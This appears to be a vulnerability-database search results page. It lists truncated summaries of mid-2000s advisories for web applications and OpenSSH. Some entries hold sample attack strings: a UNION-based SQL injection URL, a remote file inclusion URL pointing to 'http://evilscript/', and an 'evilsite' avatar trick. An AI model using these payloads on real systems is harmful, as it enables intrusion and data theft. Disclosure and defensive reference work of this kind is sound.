309 matches found
Net-Side.net CMS (index.php cms) Remote File Inclusion Vulnerability
No description provided by source. I see your future and your future is death. Sharingan ! -------------------------------------------------------------------------------------------------------------- Hi I'm sharingan and this is my vuln : script name : Net Side Content Management System 2...
uniqueads-sql.txt
Hello Vulnerable : uds Version: 1.x web : http://www.egyptechno.com The bug : http://example.com/uds/banner.php?bid=SQL Example : http://example.com/uds/banner.php?bid=-55%20union%20select%20null,null,null%20from%20uds ,,,,,,, Discoverey By : LinuxDrox www.LeZr.com Best Regards ,,...
SQL Injection in Unique Ads ( UDS )
Hello Vulnerable : uds Version: 1.x web : http://www.egyptechno.com The bug : http://example.com/uds/banner.php?bid=SQL Example : http://example.com/uds/banner.php?bid=-5520union20select20null,null,null20from20uds ,,,,,,, Discoverey By : LinuxDrox www.LeZr.com Best Regards ,,...
Bandwebsite <= 1.5 (Login) Remote Add Admin Exploit
No description provided by source. !-- - Product : Bandsite portal system - Website : http://membres.lycos.fr/fluxx/bandwebsite.php - Author : H0tTurk- WebSiteVersion:1.x - Problem : Admin Added Access. Bandsite is an online portal system designed for Bands. Features: themes support, news posting...
Bandsite portal system Admin Added Access
!-- - Product : Bandsite portal system - Website : http://membres.lycos.fr/fluxx/bandwebsite.php - Author : H0tTurk- WebSiteVersion:1.x - Problem : Admin Added Access. Bandsite is an online portal system designed for Bands. Features: themes support, news posting, audio sections, guestbook, tour...
FreeBSD : openssh -- multiple vulnerabilities (32db37a5-50c3-11db-acf3-000c6ec775d9)
Problem Description The CRC compensation attack detector in the sshd8 daemon, upon receipt of duplicate blocks, uses CPU time cubic in the number of duplicate blocks received. CVE-2006-4924 A race condition exists in a signal handler used by the sshd8 daemon to handle the LoginGraceTime option,...
OpenSSH < 4.4 Multiple Vulnerabilities
Binary data 3751.prm...
OpenSSH < 4.4 Multiple Vulnerabilities
According to its banner, the version of OpenSSH installed on the remote host is affected by multiple vulnerabilities : - A race condition exists that may allow an unauthenticated, remote attacker to crash the service or, on portable OpenSSH, possibly execute code on the affected host. Note that...
CVE-2006-4924
sshd in OpenSSH before 4.4, when using the version 1 SSH protocol, allows remote attackers to cause a denial of service CPU consumption via an SSH packet that contains duplicate blocks, which is not properly handled by the CRC compensation attack detector...
OaBoard 1.0 Remote File inclusion
OaBoard version 1.x have remote file inclusion . Variables $inc isn't initialized in the include http://host/oaboard/forum.php?inc=http://evilscript/ Hessam-x www.hessamx.net...
BlogPHP config.php SQL injection login bypass
--------------------Summary---------------- Software: BlogPHP Sowtware's Web Site: http://www.blogphp.net/ Versions: 12 Type: SQL Injection Class: Remote Status: Unpatched Exploit: Available Solution: Not Available Discovered by: imei -----------------Description--------------- Vulnerable scripts...
[SA18499] WB News "name" Script Insertion Vulnerability
TITLE: WB News "name" Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18499 VERIFY ADVISORY: http://secunia.com/advisories/18499/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: WB News 1.x http://secunia.com/product/6866/ DESCRIPTION: DragoN has...
[SA18219] MediaWiki Hardcoded Placeholder String Security Bypass Vulnerability
TITLE: MediaWiki Hardcoded Placeholder String Security Bypass Vulnerability SECUNIA ADVISORY ID: SA18219 VERIFY ADVISORY: http://secunia.com/advisories/18219/ CRITICAL: Less critical IMPACT: Security Bypass, Cross Site Scripting WHERE: From remote SOFTWARE: MediaWiki 1.x...
Instant Photo Gallery SQL inj. vuln.
Instant Photo Gallery SQL inj. vuln. Vuln. dicovered by : r0t Date: 30 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/instant-photo-gallery-sql-inj-vuln.html Vendor:http://www.instantphotogallery.com affected version:v1 and prior Product Description: Instant Photo Gallery is a new...
CVE-2005-3733
Technical details for CVE-2005-3733 are not publicly provided in the connected documents. The sources reference related CVEs (CVE-2005-3666/3667/3668/3732) but do not specify Juniper JUNOS/E-series specifics or IKEv1 conditions for this CVE.
CVE-2005-3666
Technical details (affected implementations, exact root cause, impact, and fixes for CVE-2005-3666) are not publicly available in the provided documents. Monitor for updates as new information becomes available.
[SA16970] CJ LinkOut "123" Cross-Site Scripting Vulnerability
TITLE: CJ LinkOut "123" Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA16970 VERIFY ADVISORY: http://secunia.com/advisories/16970/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: CJ LinkOut 1.x http://secunia.com/product/5770/ DESCRIPTION: Psymera has...
smf105.txt
Simple Machine Forum 1-0-5 possibly prior versions user IP address / information disclosure software: site: http://www.simplemachines.org/ information disclosure: a user can choose an sumbit an avatar url like this: http://evilsite/image.php where image.php is a file like this: When forum users...
[SA16506] Mantis Cross-Site Scripting and SQL Injection Vulnerabilities
---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...
[slackware-security] xine-lib
New xine-lib packages are available for Slackware 10.0 and -current to fix security issues. For more details, see: http://www.xinehq.de/index.php/security/XSA-2004-4 http://www.xinehq.de/index.php/security/XSA-2004-5 Here are the details from the Slackware 10.0 ChangeLog:...